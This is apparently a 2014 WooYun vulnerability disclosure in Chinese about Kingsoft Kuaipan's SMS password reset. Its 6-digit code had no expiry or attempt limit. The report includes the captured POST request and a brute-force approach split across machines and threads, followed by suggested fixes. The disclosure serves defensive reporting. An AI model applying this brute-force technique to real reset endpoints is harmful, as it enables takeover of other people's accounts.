漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-054017
漏洞标题：金山快盘任意用户密码修改漏洞（爆破）
相关厂商：金山软件集团
漏洞作者： jaffer
提交时间：2014-03-19 12:24
修复时间：2014-03-28 12:41
公开时间：2014-03-28 12:41
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：15
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-03-19： 细节已通知厂商并且等待厂商处理中
2014-03-28： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
金山快盘密码找回漏洞。使任意用户可以修改密码。
详细说明：
http://www.kuaipan.cn/account_mobileReset.htm
输入要更新账号的手机密码，点击获取验证码，然后随意输入一个6位的数字组合，然后，输入你要修改的密码。提交。使用工具抓住这个发出去的包。
包的结构如下：
POST /account_mobileResetHandler.htm HTTP/1.1
Host: www.kuaipan.cn
Proxy-Connection: keep-alive
Content-Length: 43
Accept: application/json, text/javascript, */*
Origin: http://www.kuaipan.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.kuaipan.cn/account_mobileReset.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=g61i2fffeucm2g7urmniv001f7; ksc_suv=1642701383.1395194510996; _ga=GA1.2.253481884.1395194378; _fs=223417ad
mobile=手机号码&code=295610&pwd=fucktest
使用爆破工具，对code的值进行爆破。因为验证码没有时间限制，所有时间不是问题。6位纯数字，使用爆破的话，可以用几台电脑，一个处理几个，然后多设置几个线程，那么，爆破的速度还是比较快的。
漏洞证明：
修复方案：
个人意见：
1、使用更多位数的验证码，验证码不能只是数字。
2、验证码有时间限制，一旦过了一段时间验证码无效，这个时间要短一点。
3、还有一个办法，就是，让用户用手机输入密码发送给网站，修改密码的活让网站来处理，这样就没有这回事了。
版权声明：转载请注明来源 jaffer@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-03-28 12:41
厂商回复：
最新状态：
暂无